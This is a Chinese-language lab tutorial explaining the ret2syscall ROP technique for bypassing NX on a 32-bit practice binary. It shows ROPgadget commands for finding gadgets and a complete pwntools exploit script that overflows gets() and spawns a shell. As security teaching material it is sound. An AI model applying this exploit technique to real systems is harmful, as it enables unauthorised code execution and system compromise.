利用ROP-Ret2Syscall突破NX保护

利用ROP-Ret2Syscall突破NX保护

0x01 前置知识

ret2syscall,即控制程序执行系统调用,获取 shell。

前面我们讲了ret2text的利用依赖于程序中存在执行system(“/bin/sh”)的函数,如果没有这个函数,怎么办?那我们就使用ret2shellcode自定义shellcode代码,但这种方法的局限性是程序没有开启NX保护。那么如果程序开启了NX保护,又该怎么办呢?这就要用到ret2syscall了。

什么是gadgets?

gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。有时我们为了达到执行命令的目的,需要多个gadgets来完成我们的功能。gadgets最后一般都有ret,因为要将程序控制权(ip)给下一个gadgets。

如何拼凑shellcode?

shellcode

首先,明确目标(我们要组合的shellcode)

系统调用号,即 eax 应该为 0xb

第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。

第二个参数,即 ecx 应该为 0

第三个参数,即 edx 应该为 0

接下来我们就要一点点的去拼凑这些内容,我们没法直接在栈里写指令,只能够利用程序中自带的指令去拼凑。

将eax设置为0xb,我们是没法直接往栈里写mov eax,0xb的,那么还有另一种方式是pop eax,但是要保证栈顶必须是0xb。然后同理设置ebx,ecx,edx,所以我们可以想象栈中的数据是:

pop eax;ret

0xb

pop ebx;pop ecx;pop edx;ret

"/bin/sh"的地址

0

0

int 0x80的地址

这样我们就可以保证eax,ebx,ecx,edx的值了。所以接下来我们要在程序中找一下有没有pop eax和pop ebx pop ecx pop edx 的指令。

因为我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets的方法,我们可以使用 ropgadgets 这个工具。

具体用法及示例见下图:

ROPgadget

ROPgadget_example

0x02 实验环境

ubuntu 16.04

0x03 实验

首先,可以利用IDA简单看下程序的流程(也可以直接用gdb):

ida

很明显程序是存在栈溢出的。

接着,老规矩查看一下保护:

checksec

可以看到开启了NX保护,然后直接gdb载入,简单看下main函数反汇编:

disass_main

可以看到有个gets函数可以利用。

之后查看偏移(方法之前讲过不再赘述):

offset

可以看到偏移为112。

之后,我们要开始组合shellcode,因为该程序为32位,所以就要拼凑以下内容:

  1. 系统调用号,即 eax 应该为 0xb

  2. 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。

  3. 第二个参数,即 ecx 应该为 0

  4. 第三个参数,即 edx 应该为 0

而我们如何控制这些寄存器的值呢?这里就需要使用之前所说的gadgets。比如说,现在栈顶是 10,那么如果此时执行了pop eax,那么现在 eax 的值就为 10。

首先,我们来寻找出pop eax 的gadgets,使用以下命令:

ROPgadget --binary ./ret2syscall --only 'pop|ret'|grep 'eax'

pop_eax

可以看到 0x080bb196 这个地址正是我们所需要的,先记录下来。

接着在程序中找一下有没有pop eax和pop ebx pop ecx pop edx的指令,使用以下命令:

ROPgadget --binary ./ret2syscall --only 'pop|ret'|grep 'ebx'|grep 'ecx'|grep 'edx'

pop_edx_ecx_ebx

可以看到有我们需要的,但是顺序不太一样,在组织payload的时候不要忘了调换下顺序,这里先将这个地址记录下来。

继续找一下 /bin/sh 的地址,使用以下命令:

ROPgadget --binary ./ret2syscall --string '/bin/sh'

bin_sh

最后再找一下 int 0x80 的地址,使用以下命令:

ROPgadget --binary ./ret2syscall --only 'int'|grep '0x80'

int_0x80

将上述记录下来的地址整合一下组合成我们的payload,完整exp如下:

from pwn import*                                      

context(arch = 'i386',os = 'linux',log_level = 'debug')

p = process('./ret2syscall')

offset = 112                          

pop_eax = p32(0x080bb196)             

pop_edx_ecx_ebx = p32(0x0806eb90)

bin_sh = p32(0x080be408)

int_0x80 = p32(0x08049421)

payload = 'a'*offset + pop_eax + p32(0xb) + pop_edx_ecx_ebx \
+ p32(0) + p32(0) + bin_sh + int_0x80                            

p.sendline(payload)

p.interactive()

运行一下exp,发现成功getshell:

getshell